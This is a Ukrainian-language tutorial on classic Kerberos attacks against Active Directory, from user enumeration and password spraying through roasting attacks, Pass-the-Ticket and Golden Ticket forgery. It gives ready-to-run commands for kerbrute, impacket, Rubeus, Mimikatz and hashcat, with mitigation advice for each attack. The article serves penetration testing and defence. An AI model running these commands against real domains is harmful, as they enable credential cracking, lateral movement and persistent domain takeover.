Пояснюємо, як саме зловмисники можуть скористатися вразливостями системи для отримання доступу до облікових записів, сервісів та критичних даних. Зокрема, йдеться про методи, що дозволяють обійти захисні механізми, підібрати паролі офлайн або підробити ключі доступу. У статті також наведені рекомендації, які допоможуть мінімізувати ризики подібних атак, забезпечивши більш високий рівень кіберзахисту компаній та організацій.
Дисклеймер: Ми усвідомлюємо, що на деяких фото або в матеріалах можуть зустрічатися написи російською мовою. Проте хіба це не чудово — використовувати їхню ж мову проти них?
Для Active Directory відомо безліч атак із використанням протоколу Kerberos. Перерахуэмо деякі з них:
Атаки на підвищення привілеїв:
Перебір користувачів
Розпилення / Підбір паролів
AS-REQ roasting
AS-REP roasting
Kerberoasting (AnySPN, цілеспрямований Kerberoasting)
Атаки для подальшого просування:
Pass-the-Key / Overpass-the-hash
Pass-the-Ticket / Pass-the-Cache
Атаки для закріплення:
Silver Ticket
Golden Ticket
Skeleton Key
Diamond Ticket
Далі буде розібрано “класичні” атаки з пунктів 1-9. Розбір решти атак вимагає викладу додаткового теоретичного матеріалу і поки що лише в планах на майбутнє.
Демонстрація деяких атак відбувалася на стенді з TryHackMe.
Команда для проведення атаки:
./kerbrute_linux_amd64 userenum -d $Domain_fqdn $users_list --output $filename
Для відстеження підозрілих спроб аутентифікації можна використовувати системи аналізу трафіку або управління подіями інформаційної безпеки (SIEM). Зловмисники часто отримують імена користувачів із соцмереж, метаданих файлів або поштових адрес. Зазвичай облікові записи створюються за певним шаблоном: pivanov, ivanov_vp тощо. Тому доцільно спершу з’ясувати формат імен, а вже потім підбирати їх. У реальній практиці тестування на проникнення найчастіше список користувачів можна отримати через LDAP, що спрощує задачу.
Цей метод спрямований на підбір облікового запису, який використовує конкретний пароль. Кожна невдала спроба збільшує лічильник неправильних введень. Якщо він досягне порогового значення, обліковий запис буде заблоковано. Тому перед атакою важливо дізнатися параметри парольної політики:
Складність пароля – наявність малих та великих літер, цифр і спецсимволів.
Мінімальна довжина – зазвичай 7 символів.
Поріг блокування – кількість невдалих спроб до блокування.
Час скидання лічильника – інтервал, після якого невдалі спроби «обнуляються».
Тривалість блокування – період, протягом якого обліковий запис недоступний після блокування.
Для успішного підбору паролів слід врахувати поріг блокування та час скидання лічильника, щоб уникнути блокування користувачів під час атаки.
Команда для проведення атаки:
./kerbrute_linux_amd64 passwordspray -d $Domain_FQDN $users_list $Password
Реалізувати строгу парольну політику:
Мінімальна довжина пароля: 10 для користувачів, 14 для адміністраторів.
Поріг блокування облікового запису: 5.
Час до скидання: 30 хвилин.
Тривалість блокування та складність: за замовчуванням.
Заборонити використання попередніх паролів Додати правило, щоб новий пароль відрізнявся від попередніх на не менше, ніж 3 символи.
Періодично вивантажувати NT-хеші з NTDS.dit та проводити інвентаризацію облікових записів щодо наявності словникових паролів. Простий словник для інвентаризації можна взяти тут.
За допомогою межмережевих екранів обмежити доступ до KDC для мережевих об’єктів, що не входять до білого списку.
Джерело: Kerbrute
Умова проведення атаки:
Отримання KRB_AS_REQ повідомлення з включеною попередньою автентифікацією
Варіанти виконання умови:
Повідомлення можна отримати в результаті атаки, спрямованої на перехоплення мережевого трафіку (ARP spoofing, ICMP redirect, підроблений сервер DHCP, IPv6 spoofing).
Повідомлення можна витягти з дампа мережевого трафіку (PCredz)
Результат успішної атаки:
Доступ із правами атакованого облікового запису
З аналізу вмісту KRB_AS_REQ повідомлення з увімкненою попередньою автентифікацією видно, що мітка часу зашифровується з використанням отриманого з пароля ключа користувача. Таким чином, за наявності вказаного повідомлення можна спробувати оффлайн (без взаємодії з мережею на робочій станції атакуючого) підібрати пароль за словником.
Команди для проведення атаки в Linux:
Вилучення аутентифікаційних даних з pcap файлу:
Pcredz -f $filepath
Вилучення аутентифікаційних даних з усіх pcap файлів у папці:
Pcredz -d $dir_path
Вилучення аутентифікаційних даних під час прослуховування мережного інтерфейсу
Pcredz -i $interface_name -v
Hashcat:
Якщо штамп часу зашифрований за допомогою RC4:
hashcat -m 7500 $AS_Req_rc4_hashes $dictionary
У випадку AES256:
hashcat -m 19900 $AS_Req_AES256_hashes $dictionary
Рекомендація щодо протидії:
Реалізувати строгу парольну політику (дивись раніше )
З використанням вбудованих можливостей телекомунікаційного обладнання реалізувати захист від атак, спрямованих на перехоплення мережевого трафіку (DHCP snooping, Dynamic ARP Protection, IP Source Guard тощо).
Для привілейованих облікових записів використовувати двофакторну автентифікацію.
Особистий коментар : атака не користується особливою популярністю. Джерело
Відформатуємо його належним чином:
cat found_users.txt | grep "VALID" | cut -f2 > formated_found_users.txt
З використанням отриманого файлу, що містить список дійсних імен, проведемо атаку:
impacket-GetNPUsers $Domain_FQDN/ -usersfile $users_list -outputfile $file

Примітка: отримання помилки KRB_AP_ERR_SKEW (Clock skew too great) означає, що час на контролері домену і робочої станції атакуючого значно відрізняються. У Kerberos, як було розглянуто раніше, багато залежить від значення годинника. Таким чином, перш ніж повторювати атаку, слід синхронізувати час за допомогою наступної команди:
ntpdate $DC_IP
Альтернативно, за наявності прав користувача домену можна одразу отримати список облікових записів з відключеною попередньою автентифікацією за допомогою LDAP та відправити KRB_AS_REQ повідомлення тільки від їхнього імені:
impacket-GetNPUsers $domain_FQDN/$domain_username:$user_pass -request -outputfile $file
Також за наявності прав користувача можна зібрати інформацію для Bloodhound і вже там переглянути активні облікові записи з відключеною попередньою автентифікацією:
У виявлених облікових записів корисно перевірити права доступу:
В даному випадку видно, що один з облікових записів з вимкненою автентифікацією є адміністратором домену, що за наявності словникового пароля або відсутності жорсткої парольної політики для зазначеного облікового запису, є істотним недоліком.
Команди для реалізації атаки в Windows:
Для проведення атак на Kerberos з Windows існує корисний інструмент – Rubeus. Зазвичай мається на увазі, що Rubeus запущений у контексті процесу з правами користувача домену, тому в аргументах автентифікаційні дані не вказуються.
Rubeus.exe asreproast /outfile:$result_File
Отримавши заповітні хеші, можна здійснити оффлайн підбір пароля за допомогою Hashcat:
hashcat -m 18200 $asrep_hashes_file $dict_file
Рекомендація щодо протидії:
Реалізувати строгу парольну політику
Провести інвентаризацію облікових записів на предмет відключеної попередньої аутентифікації. Для кожного з виявлених облікових записів розглянути доцільність відключення.
За допомогою межмережевих екранів обмежити доступ до KDC для мережевих об’єктів, що не входять до білого списку.
Умова проведення атаки : права рівня непривілейованого користувача домену.
Деякі варіанти виконання умови:
AS-REP roasting
Підбір або розпорошення пароля
Експлуатація критичної вразливості
Виявити у відкритому вигляді у загальнодоступній мережній папці
Підбір методом офлайн перебору по NetNTLMv2 хешу
Результат успішної атаки : доступ до прав атакованого облікового запису.
Насамперед атакуючий здійснює пошук облікових записів, що мають SPN. Робиться це за допомогою LDAP, наприклад, з використанням наступного запиту:
"(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
Команди для проведення атаки в Linux:
При необхідності синхронізуємо час:
ntpdate $DC_IP
Здійснюємо пошук усіх облікових записів, що мають SPN, та запитуємо для них TGS:
impacket-GetUserSPNs -dc-ip $DC_IP $Domain_FQDN/$username:$password -request -outputfile $file
Команди для проведення атаки у Windows:
Rubeus.exe kerberoast /outfile:$file
Примітка: Витягти TGS квитки та провести оффлайн підбір пароля також можливо в результаті аналізу мережевого трафіку за допомогою extracttgsrepfrompcap
Виявити сервісні облікові записи, а також подивитися права, які вони мають, можна за допомогою Bloodhound:


На закінчення виконуємо перебір з Hashcat:
hashcat -m 13100 $kerberos_hashes $dictionary


Умова проведення атаки : наявність TGT чи TGS квитків.
Варіанти виконання умови:
Витягти квитки зі скомпрометованої робочої станції за наявності прав адміністратора
Витягти квитки з резервної копії робочої станції (без прав адміністратора)
Витягти з робочої станції квитки лише скомпрометованого користувача (без прав адміністратора)
Сформувати на своїй робочій станції самостійно за наявності відповідних автентифікаційних даних
Результат успішної атаки : подальше просування з правами скомпрометованого облікового запису. Перш ніж приступити до розбору атаки, розглянемо, як зберігаються квитки Kerberos в різних операційних системах.
У Linux для зберігання Kerberos використовується формат ccache (від credential cache).
у директорії /tmp у файлах з ім’ям, що мають вигляд: krb5cc_%{uid}
у пам’яті ядра, спеціально призначеного для зберігання ключів (kernel keyrings)
в пам’яті процесу користувача
У Windows квитки Kerberos зберігаються у пам’яті процесу lsass у форматі kirbi. Переглянути доступні поточному користувачеві квитки можна так:
PS C:\Users\Ivan> klist
Конвертувати квитки в необхідний формат можна так:
kirbi -> ccache (Windows -> Linux)
ticketConverter.py $ticket.kirbi $ticket.ccache
ccache -> kirbi (Linux -> Windows)
ticketConverter.py $ticket.ccache $ticket.kirbi
Команди для виконання атаки:
У Linux:
export KRB5CCNAME=path_to_ticket.ccache
У Windows за допомогою Mimikatz:
kerberos::ptt path_to_ticket.kirbi
У Mimikatz можна також використовувати ccache формат:
kerberos::ptt path_to_ticket.ccache
У Windows за допомогою Rubeus:
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
У Linux для використання завантажених квитків у інструментах, що підтримують Kerberos, необхідно вказати відповідні ключі (як правило: -no-pass / -k ).
Про які інструменти йдеться? Насамперед про утиліти, що входять до складу Impacket, і crackmapexec.
Приклад:
psexec.py -k $Domain_FQDN/$username@$target
У Windows після завантаження в lsass квиток буде використовуватися за замовчуванням.
.\PsExec.exe -accepteula \\<target> cmd
Очевидно, що більше можливостей для подальшого просування надає саме TGT, адже TGS квиток використовується для доступу лише до певного сервісу.
Це дійсно так, але ще раз звернемося до атаки AnySPN. Під час Pass-the-Key можна замінити SPN у TGS-квитку та використовувати модифікований TGS-квиток для доступу до іншого сервісу, що належить тому ж обліковому запису.
Рекомендації щодо протидії Pass-the-Ticket:
При розподілі привілейованого доступу керуватиметься багаторівневою моделлю Microsoft. Використовувати для адміністрування некритичних об’єктів домену виділені облікові записи з обмеженими правами. Не використовуйте адміністративні облікові записи для доступу до рядових ресурсів.
Обмежити вхідні з’єднання на міжмережевому екрані кожного кінцевого мережного об’єкта, насамперед для серверів.
Використовувати Credential Guard для захисту процесу lsass.exe та протидії вилученню автентифікаційних даних на об’єктах мережі, що функціонують під керуванням ОС сімейства Windows.
Обмежити вхідні з’єднання на міжмережевому екрані кожного кінцевого вузла.
Джерела літератури:
Kerberos (II): How to attack Kerberos? (Eloy Pérez)
Умова проведення атаки : наявність ключа облікового запису krbtgt. Атака DCsync
Результат успішної атаки : закріплення можливості доступу до скомпрометованого домену.
Наявність ключа облікового запису krbtgt дозволяє атакуючому формувати та змінювати TGT на власний розсуд. Таким чином, можливо скласти довільний PAC для будь-якого користувача домену і отримати від його імені доступ до необхідного сервісу з бажаними правами.
Команди для виконання атаки в Linux:
З використанням RC4 ключа (NT-хеша):
ticketer.py -nthash $krbtgtNThash -domain-sid $domainSID -domain $Domain $RandomUser
За допомогою AES ключа:
ticketer.py -aesKey $krbtgtAESkey -domain-sid $DomainSID -domain $Domain $RandomUser
З вказівкою ідентифікаторів груп:
ticketer.py -nthash $krbtgtNThash -domain-sid $DomainSID -domain $Domain -user-id $UserID -groups $GroupID1,$GroupID2, ... $RandomUser
Команди для виконання атаки у Windows:
З використанням RC4 ключа (NT-хеш) в Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /rc4:$krbtgt_NThash /user:$RandomUser /ptt
З використанням AES128 ключа в Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$RandomUser /ptt
З використанням AES256 ключа в Mimikatz:
kerberos::golden /domain:$Domain /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$RandomUser /ptt
На цьому завершено огляд класичних атак на протокол Kerberos. Ми розглянули основні аспекти, поради щодо захисту та особливості реалізації цих атак. Сподіваюся, що цей матеріал допоможе краще зрозуміти механізми атак на Kerberos в середовищі Active Directory.
Однак, як би ми не прагнули, всі питання не можна охопити одразу. Деякі важливі теми, наприклад, пов’язані з делегуванням, залишились поза увагою. Також не були описані атаки, які створюють умови для подальших атак на Kerberos.